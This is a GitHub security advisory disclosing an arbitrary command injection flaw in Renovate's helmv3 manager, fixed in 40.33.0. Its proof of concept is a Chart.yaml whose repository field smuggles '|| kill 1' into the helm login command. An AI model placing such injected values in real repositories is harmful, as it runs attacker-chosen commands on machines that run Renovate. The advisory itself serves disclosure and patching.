GHSA-3F44-XW83-3PMG
Vulnerability from github – Published: 2026-01-13 20:29 – Updated: 2026-01-13 20:29Summary
The user-provided string repository in the helmv3 manager is appended to the helm registry login command without proper sanitization.
Details
Adversaries can provide a maliciously crafted Chart.yaml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
The value for both uses of the repository variable in lib/modules/manager/helmv3/common.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 31.51.0 (https://github.com/renovatebot/renovate/commit/f372a68144a4d78c9f7f418168e4efe03336a432), released on January 24 of 2022.
PoC
- Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
},
},
// Register any credentials to make the manager attempt to use basic auth for the Helm registry
hostRules: [
{
matchHost: "charts.bitnami.com",
username: "un",
password: "pw",
},
],
packageRules: [
{
// Target of the day
matchManagers: ["helmv3"],
// Don't consult the actual bitnami repo
registryUrls: [],
// But still, trick the manager in believing there's a new version
overrideDatasource: "custom.always",
},
],
}
Chart.yaml:
apiVersion: v2
name: renovate-aci-1
version: 0.0.1
dependencies:
- name: redis
version: 0.1.0
repository: oci://charts.bitnami.com/bitnami || kill 1
Chart.lock:
dependencies:
- name: redis
repository: oci://charts.bitnami.com/bitnami
- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
[!NOTE] This specific proof of concept was made a lot simpler with the introduction of the
overrideDatasourceconfiguration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual Helm registry on the malformed repository URL.
Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "renovate"
},
"ranges": [
{
"events": [
{
"introduced": "31.51.0"
},
{
"fixed": "40.33.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T20:29:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe user-provided string `repository` in the `helmv3` manager is appended to the `helm registry login` command without proper sanitization.\n\n### Details\nAdversaries can provide a maliciously crafted `Chart.yaml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.\nThe value for both uses of the `repository` variable in [lib/modules/manager/helmv3/common.ts](https://github.com/renovatebot/renovate/blob/b69416ce1745f67c9fc1d149738e2f52feb4f732/lib/modules/manager/helmv3/common.ts) are not being escaped using the `quote` function from the `shlex` package.\nThis lack of proper sanitization has been present in the product since version 31.51.0 (https://github.com/renovatebot/renovate/commit/f372a68144a4d78c9f7f418168e4efe03336a432), released on January 24 of 2022.\n\n### PoC\n1. Create a git repo with the following content:\n\n`renovate.json5`:\n\n```json5\n{\n $schema: \"https://docs.renovatebot.com/renovate-schema.json\",\n customDatasources: {\n always: {\n defaultRegistryUrlTemplate: \"https://docs.renovatebot.com/search/search_index.json\",\n transformTemplates: [\u0027{\"releases\":[{\"version\":\"99999.0.0\"}]}\u0027],\n },\n },\n // Register any credentials to make the manager attempt to use basic auth for the Helm registry\n hostRules: [\n {\n matchHost: \"charts.bitnami.com\",\n username: \"un\",\n password: \"pw\",\n },\n ],\n packageRules: [\n {\n // Target of the day\n matchManagers: [\"helmv3\"],\n // Don\u0027t consult the actual bitnami repo\n registryUrls: [],\n // But still, trick the manager in believing there\u0027s a new version\n overrideDatasource: \"custom.always\",\n },\n ],\n}\n\n```\n\n\n`Chart.yaml`:\n\n```yaml\napiVersion: v2\nname: renovate-aci-1\nversion: 0.0.1\ndependencies:\n - name: redis\n version: 0.1.0\n repository: oci://charts.bitnami.com/bitnami || kill 1\n\n```\n\n\n`Chart.lock`:\n\n```yaml\ndependencies:\n- name: redis\n repository: oci://charts.bitnami.com/bitnami\n```\n\n2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting \"Repository finished\", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container.\n\n\u003e [!NOTE]\n\u003e This specific proof of concept was made a lot simpler with the introduction of the `overrideDatasource` configuration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual Helm registry on the malformed repository URL.\n\n### Impact\nThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.",
"id": "GHSA-3f44-xw83-3pmg",
"modified": "2026-01-13T20:29:12Z",
"published": "2026-01-13T20:29:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/renovatebot/renovate/security/advisories/GHSA-3f44-xw83-3pmg"
},
{
"type": "PACKAGE",
"url": "https://github.com/renovatebot/renovate"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Renovate vulnerable to arbitrary command injection via helmv3 manager and malicious Chart.yaml file"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.